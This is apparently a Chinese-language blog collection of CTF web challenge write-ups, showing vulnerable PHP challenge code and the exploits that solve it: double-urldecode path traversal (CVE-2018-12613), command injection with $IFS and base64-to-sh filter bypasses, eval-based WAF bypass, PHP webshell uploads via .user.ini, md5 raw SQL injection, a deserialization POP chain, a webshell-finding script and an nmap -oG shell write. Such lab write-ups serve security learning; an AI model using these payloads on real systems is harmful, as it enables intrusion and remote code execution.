[HCTF 2018]WarmUp
CVE-2018-12613
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49
| <?php highlight_file(__FILE__); class emmm { public static function checkFile(&$page) { $whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; }
if (in_array($page, $whitelist)) { return true; }
$_page = mb_substr( $page, 0, mb_strpos($page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; }
$_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . '?', '?') ); if (in_array($_page, $whitelist)) { return true; } echo "you can't see it"; return false; } }
if (! empty($_REQUEST['file']) && is_string($_REQUEST['file']) && emmm::checkFile($_REQUEST['file']) ) { include $_REQUEST['file']; exit; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />"; } ?>
|
漏洞出现checkFile
的urldecode
这里,如果让传入的参数为?file=source.php%253f/../xxxxx
,source.php
是白名单中的值,而%253f
是?
的两次urldecode,在传入参数时,php自动进行一次urldecode,得到source.php%3f/../xxxxx
,而后判断不成立,进行第二次urldecode,得到source.php?/../xxxxx
,符合过滤条件,因此返回true,而此时的include的参数为source.php%3f/../xxxxx
中的source.php%3f
被识别成了路径,因此可以进行文件读取
直接传入source.php?/../xxxxx
也是可以的,关键是要满足xxx/../xxx
因此payload为?file=source.php?/../../../../../ffffllllaaaagggg
flag为flag{0cbde9b5-3943-4e4b-a8fc-4f453db647a1}
1 2 3 4 5 6
| <?php highlight_file(__FILE__); if(!empty($_REQUEST['file'])&&is_string($_REQUEST['file'])){ echo file_get_contents($_REQUEST['file']); } ?>
|
1 2
| http://127.0.0.1/test.php?file=asdf/../flag flag{asdf}
|
[GXYCTF2019]Ping Ping Ping
先ls,/?ip=127.0.0.1;ls
,得到flag.php和index.php
先尝试对index.php进行读取
直接读取/?ip=127.0.0.1;cat%20index.php
,返回fxck your space!,说明过滤了空格
用<>
,/?ip=127.0.0.1;cat<
,返回fxck your symbol!,说明过滤了<>
用{IFS}
,/?ip=127.0.0.1;cat{IFS}
,同样返回fxck your symbol!,说明过滤了{}
用$IFS$1
,/?ip=127.0.0.1;cat$IFS$1
,可以正常执行,因此/?ip=127.0.0.1;cat$IFS$1index.php
对index.php进行读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php if(isset($_GET['ip'])){ $ip = $_GET['ip']; if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else if(preg_match("/bash/", $ip)){ die("fxck your bash!"); } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ die("fxck your flag!"); } $a = shell_exec("ping -c 4 ".$ip); echo "<pre>"; print_r($a); }
?>
|
preg_match("/.*f.*l.*a.*g.*/", $ip
说明只要包含flag就会被过滤
方法一:直接进行变量拼接
/?ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$1$a$b
注意$a
和$b
填入内容的不同
方法二:base64
可以将cat flag.php
转换成base64后再交由shell执行,但是过滤了bash
,可以使用sh
进行替换
/?ip=127.0.0.1;cat$IFS$1index.php;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
方法三:反引号
可以使用反引号,反引号间的内容,会被shell先执行,其输出被放入主命令后,主命令再被执行
1
| /?ip=127.0.0.1;cat$IFS$1`ls`
|
均可以得到flag为flag{adafea35-8849-48ab-a900-e997ee117159}
[RoarCTF 2019]Easy Calc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <!DOCTYPE html> <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>简单的计算器</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" href="./libs/bootstrap.min.css"> <script src="./libs/jquery-3.3.1.min.js"></script> <script src="./libs/bootstrap.min.js"></script> </head> <body>
<div class="container text-center" style="margin-top:30px;"> <h2>表达式</h2> <form id="calc"> <div class="form-group"> <input type="text" class="form-control" id="content" placeholder="输入计算式" data-com.agilebits.onepassword.user-edited="yes"> </div> <div id="result"><div class="alert alert-success"> </div></div> <button type="submit" class="btn btn-primary">计算</button> </form> </div>
<script> $('#calc').submit(function(){ $.ajax({ url:"calc.php?num="+encodeURIComponent($("#content").val()), type:'GET', success:function(data){ $("#result").html(`<div class="alert alert-success"> <strong>答案:</strong>${data} </div>`); }, error:function(){ alert("这啥?算不来!"); } }) return false; }) </script>
</body></html>
|
calc.php1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } eval('echo '.$str.';'); } ?>
|
当传入给num
的参数含有字符时,waf会阻止该请求,但是如果http请求中的calc.php?num
被修改为calc.php? num
时可以绕过waf,推测为waf仅对num
进行了审查,但却没有对 num
进行,而在php进行处理时,将空格去除
而绕过blacklist可以用chr进行转换,如要表示"
,可以将其转换为chr(34)
,然后用.
链接
扫描当前目录? num=var_dump(scandir(dirname(__FILE__)))
扫描根目录? num=var_dump(scandir(chr(47)))
读取flag? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
还可用http走私来进行解题
重复Content-Length

注意这里的?num
没有空格
[极客大挑战 2019]BuyFlag
将Cookie的user设置为1
password=0x194,后面加上一个%00
的URLdecode
intval()
函数漏洞,is_numeric()
漏洞
Intval函数获取变量整数数值,Intval最大的值取决于操作系统,32位系统最大带符号整数范围是-2147483648
到2147483647
在这样的系统上,intval(1000000000000)
会返回2147483647
64位系统上,最大带符号的整数值是9223372036854775807
可应用在判断数值是不是回文上,如果参数为2147483647
,那么当它反过来,由于超出了限制,所以依然等于2147483647,即为回文
is_numeric()
判断变量是否为数字或数字字符串,不仅检查10进制,16进制是可以
is_numeric
函数对于空字符%00
,无论是%00
放在前后都可以判断为非数值,而%20
空格字符只能放在数值后
- money=2E9999,绕过money的长度限制并满足money的最低要求
[极客大挑战 2019]Upload
存在文件后缀过滤,用phtml
绕过
文件内容中存在<?
检查,用<script language="pHp">@eval($_POST['a'])</script>
绕过
即可getshell
[SUCTF 2019]CheckIn
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| <!DOCTYPE html> <html lang="en">
<head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Upload Labs</title> </head>
<body> <h2>Upload Labs</h2> <form action="index.php" method="post" enctype="multipart/form-data"> <label for="file">文件名:</label> <input type="file" name="fileUpload" id="file"><br> <input type="submit" name="upload" value="提交"> </form> </body>
</html>
<?php
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]); if (!file_exists($userdir)) { mkdir($userdir, 0777, true); } file_put_contents($userdir . "/index.php", ""); if (isset($_POST["upload"])) { $tmp_name = $_FILES["fileUpload"]["tmp_name"]; $name = $_FILES["fileUpload"]["name"]; if (!$tmp_name) { die("filesize too big!"); } if (!$name) { die("filename cannot be empty!"); } $extension = substr($name, strrpos($name, ".") + 1); if (preg_match("/ph|htacess/i", $extension)) { die("illegal suffix!"); } if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) { die("<? in contents!"); } $image_type = exif_imagetype($tmp_name); if (!$image_type) { die("exif_imagetype:not image!"); } $upload_file_path = $userdir . "/" . $name; move_uploaded_file($tmp_name, $upload_file_path); echo "Your dir " . $userdir. ' <br>'; echo 'Your files : <br>'; var_dump(scandir($userdir)); }
|
存在后缀过滤,过滤了ph*
和.htaccess
文件
存在exif_imagetype检查
文件内容中存在<?
检查
要绕过1,可以上传.uesr.ini
文件(可以由用户自定义的php.ini
)
参考文章
不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法
构造一个格式如下的.user.ini
1 2
| GIF89a=123 auto_prepend_file=a.gif
|
或者为
1 2
| GIF89a=123 auto_append_file=a.gif
|
要绕过3,可以构造一个格式如下的a.gif
1
| GIF89a<script language="pHp">@eval($_POST['a'])</script>
|
即可getshell
[BJDCTF2020]Easy MD5
在响应头中存在Hint: select * from 'admin' where password=md5($pass,true)
md5函数,它有两个参数string和raw
第一个参数string是必需的,规定要计算的字符串
第二个参数raw可选,规定十六进制或二进制输出格式:
- TRUE – 原始 – 16 字符二进制格式
- FALSE – 默认 – 32 字符十六进制数
如果可以构造出一个md5结果中包含'or'
的字符串即可达成目的
md5129581926211651571912466741651878684928
得到\x06\xdaT0D\x9f\x8fo#\xdf\xc1'or'8
md5ffifdyop
得到'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
传入ffifdyop
即可进入下一关
($a != $b && md5($a) == md5($b))
,传两个数组,即可进入下一关
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2']))
传两个md5相同的文件即可getflag
[网鼎杯 2020 青龙组]AreUSerialz
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
构造POP链
在__destruct
中进行了强类型比较,因此将op
设置为数字2
即可绕过限制,而process
中的比较是弱类型,可以进行读操作
is_valid
限定了传入的字符必须是可见字符,因此不能直接传入%00
,这会被阻止,在反序列化时用大写的S替换小写的s即可用16进制表示
因此最终的payload为O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";s:8:"flag.php";S:10:"\00*\00content";N;}
[强网杯 2019]高明的黑客
访问/www.tar.gz
得到网站源码,打开得到大量php文件且存在大量webshell,但不是所有webshell均可以使用,需要进行验证
将网站源码放置在docker中,用python脚本对webshell进行遍历,从而提取出可以正常使用的webshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| import os import re import requests
src_dir = "/home/misaka/Downloads/src/"
def list_all_files(rootdir): all_file = os.listdir(rootdir) return all_file
def post_or_get(rootdir, file): post_rule = r"\$_POST\['(.+?)']" get_rule = r"\$_GET\['(.+?)']" file_path = rootdir + file f = open(file_path) detail = f.read() post = re.findall(post_rule, detail) get = re.findall(get_rule, detail) f.close() return post, get
def check(file, post, get): param = "echo 'qwertyuioplkjhgfdsazxcvbnm'" url = "http://127.0.0.1/" + file for i in range(len(post)): r = requests.post(url, data={post[i]: param}) if 'qwertyuioplkjhgfdsazxcvbnm' in r.text: print(file, post[i], "post") for i in range(len(get)): r = requests.get(url, params={get[i]: param}) if 'qwertyuioplkjhgfdsazxcvbnm' in r.text: print(file, get[i], "get")
file_list = list_all_files(src_dir) post_list = [] get_list = []
for i in file_list: post, get = post_or_get(src_dir, i) post_list.append(post) get_list.append(get)
for i in range(len(file_list)): check(file_list[i], post_list[i], get_list[i])
|
得到的webshell为xk0SzyKwfzw.php Efa5BVG get
因此可以通过该webshell来对flag进行读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; }
if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host); }
|
escapeshellcmd()
和escapeshellarg()
一起使用会存在问题,见PHP-Study中的escapeshell
nmap可以用-oG
来写入文件
payload为?host=' <?php echo 123;?> -oG a.php '
,注意前面的空格用来避免\
的转义,而后面的空格用来避免生成文件名时的额外\
访问沙盒中的a.php
发现成功输出123,说明已经成功写入
最终的payload为
1
| host=' <?php echo `cat /flag`;?> -oG a.php '
|